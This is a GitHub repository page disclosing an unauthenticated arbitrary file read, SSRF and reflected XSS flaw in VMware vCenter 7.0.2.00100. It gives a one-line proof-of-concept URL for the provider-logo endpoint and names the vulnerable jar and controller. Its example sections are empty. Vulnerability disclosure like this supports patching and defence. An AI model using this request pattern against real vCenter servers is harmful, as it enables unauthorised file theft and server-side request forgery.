Skip to content

VMware vCenter 7.0.2.00100 unauth Arbitrary File Read + SSRF + Reflected XSS

Notifications You must be signed in to change notification settings

l0ggg/VMware_vCenter

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 

Repository files navigation

VMware vCenter earlier versions (7.0.2.00100) has unauthorized arbitrary file read + ssrf + xss vulnerability

POC

https://{vCenterserver}/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url={url}

File read:

SSRF + XSS:

vulnerable code:

/etc/vmware/vsphere-ui/cm-service-packages/com.vmware.cis.vsphereclient.plugin/com.vmware.h4.vsphere.client-0.4.1.0/plugins/h5-vcav-bootstrap-service.jar

com.vmware.h4.vsphere.ui.bootstrap.controller.ProvidersController.getProviderLogo()

Tested on vCenter 7.0.2.00100, not knowing the exact affected version range or cve id

About

VMware vCenter 7.0.2.00100 unauth Arbitrary File Read + SSRF + Reflected XSS

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published